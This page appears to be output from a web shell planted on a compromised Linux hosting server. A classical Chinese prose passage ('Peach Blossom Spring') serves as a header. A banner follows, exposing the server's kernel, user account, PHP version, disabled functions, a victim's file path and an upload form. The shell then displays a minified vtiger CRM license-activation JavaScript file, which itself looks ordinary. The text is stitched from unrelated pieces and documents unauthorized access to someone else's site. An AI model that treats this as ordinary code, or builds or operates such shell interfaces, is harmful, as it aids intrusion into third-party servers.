晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /home/akaindir/public_html/crm/layouts/v7/modules/ParsVT/resources/ |
Upload File : |
/* ********************************************************************************
* The content of this file is subject to the VTFarsi.ir Modules License("License");
* You may not use this file except in compliance with the License
* The Initial Developer of the Original Code is VTFarsi.ir
* Portions created by VTFarsi.ir. are Copyright(C) VTFarsi Team
* All Rights Reserved.
* ****************************************************************************** */
jQuery.Class("ParsVT_License_Js",{},{init:function(){this.initiate()},initiate:function(){var e=jQuery(".installationContents").find(".step").val();this.initiateStep(e)},initiateStep:function(e){var n="step"+e;this.activateHeader(n)},activateHeader:function(e){var n=jQuery(".crumbs ");n.find(".active").removeClass("active"),jQuery("#"+e,n).addClass("active")},recheckLicenseEvent:function(){jQuery("#recheck").on("click",function(){location.reload()})},registerLicenseAgreementEvent:function(){jQuery("#licenseagreement").on("click",function(e){e.stopPropagation();var n="index.php?module="+app.getModuleName()+"&view=Helper&mode=showLicenseAgreement";app.request.get({url:n}).then(function(e,n){null===e?app.helper.showModal(n):app.helper.showErrorNotification({message:e.message})})})},registerActivateLicenseEvent:function(){var e=jQuery.Deferred();jQuery(".installationContents").find('[name="btnActivate"]').click(function(){var n=jQuery("#license_key");if(""===n.val()){var o=app.vtranslate(PVTErrors.EMPTYLICENSEKEY);return vtUtils.showValidationMessage(n,o,{position:{my:"top left",at:"bottom left"}}),e.reject(),e.promise()}var t=jQuery.progressIndicator({position:"html",blockInfo:{enabled:!0}}),i={};i.module=app.getModuleName(),i.action="Activate",i.mode="activate",i.license=n.val(),i.tokenname=csrfMagicName,i.tokenval=csrfMagicToken,AppConnector.request(i).then(function(e){if(t.progressIndicator({mode:"hide"}),app.storage.delete("ParsVTMode"),app.storage.delete("ParsVTTime"),e.success){var n=e.result.status,o=e.result.information,i=e.result.form;if(jQuery("#licenseinfo").html(o),"Ok"==n){jQuery(".installationContents").find(".module").val();jQuery("#licensecheck").hide(),jQuery(".need-help").hide(),jQuery("#btnOrder").hide(),jQuery("#btnShop").hide(),jQuery("#Activatebtn").html(i)}}},function(e){console.log("error =",e),t.progressIndicator({mode:"hide"})})}),jQuery("#OfflineInfo").find("#requestofflinekey").click(function(e){var n=jQuery.progressIndicator({position:"html",blockInfo:{enabled:!0}}),o={},t=jQuery(e.currentTarget).data("request");o.module=app.getModuleName(),o.parent=app.getParentModuleName(),o.action="Activate",o.prekey=jQuery("#prekey").val(),o.mode="offlineactivation",o.type=t,o.tokenname=csrfMagicName,o.tokenval=csrfMagicToken,AppConnector.request(o).then(function(e){if(n.progressIndicator({mode:"hide"}),e.success){var o=e.result.status,t=e.result.message;if(jQuery("#offlineresult").html(t),"Ok"==o){app.helper.showSuccessNotification({message:e.result.message});var i=e.result.offlinekey;jQuery("#offlinerow").show(),jQuery("#downloadofflinekey").show(),jQuery("#converttoonline").show(),jQuery("#backtolicense").hide(),jQuery("#dofflinekey").val(i),document.getElementById("dofflinekey").innerHTML=i,setTimeout(function(){window.location="index.php?module="+app.getModuleName()+"&view=License&parent=Settings"},3e3)}else app.helper.showErrorNotification({message:t})}},function(e){jQuery("#offlinerow").hide(),console.log("error =",e),n.progressIndicator({mode:"hide"})})}),jQuery("#OfflineInfo").find("#dongleactivation").click(function(e){var n=jQuery.progressIndicator({position:"html",blockInfo:{enabled:!0}}),o={};jQuery(e.currentTarget).data("request");o.module=app.getModuleName(),o.parent=app.getParentModuleName(),o.action="Activate",o.mode="dongleactivation",o.tokenname=csrfMagicName,o.tokenval=csrfMagicToken,AppConnector.request(o).then(function(e){if(n.progressIndicator({mode:"hide"}),e.success){var o=e.result.status,t=e.result.message;jQuery("#offlineresult").html(t),"Ok"==o?(app.helper.showSuccessNotification({message:e.result.message}),setTimeout(function(){window.location.reload()},3e3)):app.helper.showErrorNotification({message:t})}},function(e){jQuery("#offlinerow").hide(),console.log("error =",e),n.progressIndicator({mode:"hide"})})}),jQuery("#OfflineInfo").find("#converttoonline").click(function(){var e=jQuery.progressIndicator({position:"html",blockInfo:{enabled:!0}}),n={};n.module=app.getModuleName(),n.parent=app.getParentModuleName(),n.action="Activate",n.mode="convertToOnline",n.tokenname=csrfMagicName,n.tokenval=csrfMagicToken,AppConnector.request(n).then(function(n){if(e.progressIndicator({mode:"hide"}),n.success){var o=n.result.status,t=n.result.message;jQuery("#offlineresult").html(t),"Ok"==o?(app.helper.showSuccessNotification({message:t}),setTimeout(function(){window.location="index.php?module="+app.getModuleName()+"&view=License&parent=Settings"},3e3)):app.helper.showErrorNotification({message:t})}},function(n){app.helper.showErrorNotification({message:message}),console.log("error =",n),e.progressIndicator({mode:"hide"})})}),jQuery("#OfflineInfo").find("#removedonglekey").click(function(){var e=jQuery.progressIndicator({position:"html",blockInfo:{enabled:!0}}),n={};n.module=app.getModuleName(),n.parent=app.getParentModuleName(),n.action="Activate",n.mode="removeDongle",n.tokenname=csrfMagicName,n.tokenval=csrfMagicToken,AppConnector.request(n).then(function(n){if(e.progressIndicator({mode:"hide"}),n.success){var o=n.result.status,t=n.result.message;jQuery("#dongleresult").html(t),"Ok"==o?(app.helper.showSuccessNotification({message:t}),setTimeout(function(){window.location="index.php?module="+app.getModuleName()+"&view=License&parent=Settings"},3e3)):app.helper.showErrorNotification({message:t})}},function(n){app.helper.showErrorNotification({message:message}),console.log("error =",n),e.progressIndicator({mode:"hide"})})}),jQuery("#licenseinfo").find("#finalofflineactivation").click(function(){var e=$("#responsecode").val();if(""==e)return app.helper.showErrorNotification({message:"Response code is empty!"}),jQuery("#offlinelicensemessage").removeClass("alert-success"),jQuery("#offlinelicensemessage").addClass("alert-danger"),jQuery("#offlinelicensemessage").html(app.vtranslate("Response code is empty!")),!1;var n=jQuery.progressIndicator({position:"html",blockInfo:{enabled:!0}}),o={};o.module=app.getModuleName(),o.parent=app.getParentModuleName(),o.action="Activate",o.mode="saveOfflineActivationKey",o.licensekey=jQuery("#licensekey").val(),o.prekey=jQuery("#prekey").val(),o.finalkey=e,o.tokenname=csrfMagicName,o.tokenval=csrfMagicToken,AppConnector.request(o).then(function(e){if(n.progressIndicator({mode:"hide"}),e.success){var o=e.result.status;e.result.message;"Valid"==o?(jQuery("#offlinelicensemessage").removeClass("alert-danger"),jQuery("#offlinelicensemessage").addClass("alert-success"),jQuery("#offlinelicensemessage").html(e.result.message),jQuery("#offlinelicenseinformation").html(e.result.licenseinfo)):(jQuery("#offlinelicensemessage").removeClass("alert-success"),jQuery("#offlinelicensemessage").addClass("alert-danger"),jQuery("#offlinelicensemessage").html(e.result.message+"<br />"+e.result.warning),jQuery("#offlinelicenseinformation").html(""))}},function(e){app.helper.showErrorNotification({message:message}),jQuery("#offlinelicensemessage").removeClass("alert-success"),jQuery("#offlinelicensemessage").addClass("alert-danger"),jQuery("#offlinelicensemessage").html(app.vtranslate(message)),console.log("error =",e),n.progressIndicator({mode:"hide"})})})},registerInverseLicenseEvent:function(){jQuery.Deferred();jQuery("#LicenseInfo").find("#inverse").click(function(){jQuery("#license_key").prop("disabled",!1),jQuery("#valid").hide(),jQuery("#inverse").hide(),jQuery("#checkkey").show(),jQuery("#licwarning").show()})},registerReactivateLicenseEvent:function(){var e=jQuery.Deferred();if(jQuery("#usbdongle").on("click",function(){jQuery.progressIndicator({message:"",position:"html",blockInfo:{enabled:!0}});window.location="index.php?module="+app.getModuleName()+"&parent=Settings&view=Dongle"}),jQuery("#offlinekey").on("click",function(){app.helper.showConfirmationBox({message:PVTErrors.OFFLINEEMPTYLICENSEKEY}).then(function(e){jQuery.progressIndicator({message:"",position:"html",blockInfo:{enabled:!0}});window.location="index.php?module="+app.getModuleName()+"&parent=Settings&view=Offline"},function(e,n){return!1})}),jQuery("#LicenseInfo").find("#checkkey").click(function(){var n=jQuery("#license_key");if(""==n.val()){var o=app.vtranslate(PVTErrors.EMPTYLICENSEKEY);return vtUtils.showValidationMessage(n,o,{position:{my:"top left",at:"bottom left"}}),e.reject(),e.promise()}var t=jQuery.progressIndicator({position:"html",blockInfo:{enabled:!0}}),i={};i.module=app.getModuleName(),i.action="Activate",i.mode="activate",i.license=n.val(),AppConnector.request(i).then(function(e){if(t.progressIndicator({mode:"hide"}),e.success){var n=e.result.status,o=e.result.information;jQuery("#licenseinfo").html(o),"Ok"==n&&(jQuery("#license_key").prop("disabled",!0),jQuery("#valid").show(),jQuery("#inverse").show(),jQuery("#checkkey").hide(),jQuery("#licwarning").hide())}},function(e){console.log("error =",e),t.progressIndicator({mode:"hide"})})}),jQuery("#LicenseInfo").find("#valid").click(function(){var n=jQuery("#license_key");if(""==n.val()){var o=app.vtranslate(PVTErrors.EMPTYLICENSEKEY);return vtUtils.showValidationMessage(n,o,{position:{my:"top left",at:"bottom left"}}),e.reject(),e.promise()}var t=jQuery.progressIndicator({position:"html",blockInfo:{enabled:!0}}),i={};i.module=app.getModuleName(),i.action="Activate",i.mode="showinformation",i.license=n.val(),AppConnector.request(i).then(function(e){if(t.progressIndicator({mode:"hide"}),e.success){var n=e.result.status,o=e.result.information;jQuery("#licenseinfo").html(o),"Ok"==n&&(jQuery("#license_key").prop("disabled",!0),jQuery("#valid").show(),jQuery("#inverse").show(),jQuery("#checkkey").hide(),jQuery("#licwarning").hide())}},function(e){console.log("error =",e),t.progressIndicator({mode:"hide"})})}),0!=$("#licensestatus").length){"Ok"!==jQuery("#licensestatus").val()&&$("#checkkey").trigger("click")}},registerValidEvent:function(){jQuery(".installationContents").find('[name="btnFinish"]').click(function(){var e=jQuery(".installationContents").find(".redirect").val(),n=jQuery.progressIndicator({position:"html",blockInfo:{enabled:!0}}),o={};o.module=app.getModuleName(),o.action="Activate",o.mode="valid",AppConnector.request(o).then(function(o){n.progressIndicator({mode:"hide"}),o.success&&(document.location.href=e)},function(e){console.log("error =",e),n.progressIndicator({mode:"hide"})})})},registerSaveEvent:function(){var e=this;jQuery("#downloadprekey").on("click",function(){var n=$("#licensekey").val();e.saveTextAsFile("prekey",n+".txt")}),jQuery("#downloadofflinekey").on("click",function(){$("#licensekey").val();e.saveTextAsFile("dofflinekey",app.getModuleName()+".offline")})},saveTextAsFile:function(e,n){var o=document.getElementById(e).innerHTML,t=new Blob([o],{type:"text/plain"}),i=n,r=document.createElement("a");r.download=i,r.innerHTML="Download File",null!==window.webkitURL?r.href=window.webkitURL.createObjectURL(t):(r.href=window.URL.createObjectURL(t),r.onclick=this.destroyClickedElement,r.style.display="none",document.body.appendChild(r)),r.click()},destroyClickedElement:function(e){document.body.removeChild(e.target)},registerEvents:function(){this.registerActivateLicenseEvent(),this.registerValidEvent(),this.recheckLicenseEvent(),this.registerInverseLicenseEvent(),this.registerReactivateLicenseEvent(),this.registerSaveEvent(),this.registerLicenseAgreementEvent(),vtUtils.enableTooltips()}}),jQuery(document).ready(function(){(new ParsVT_License_Js).registerEvents()});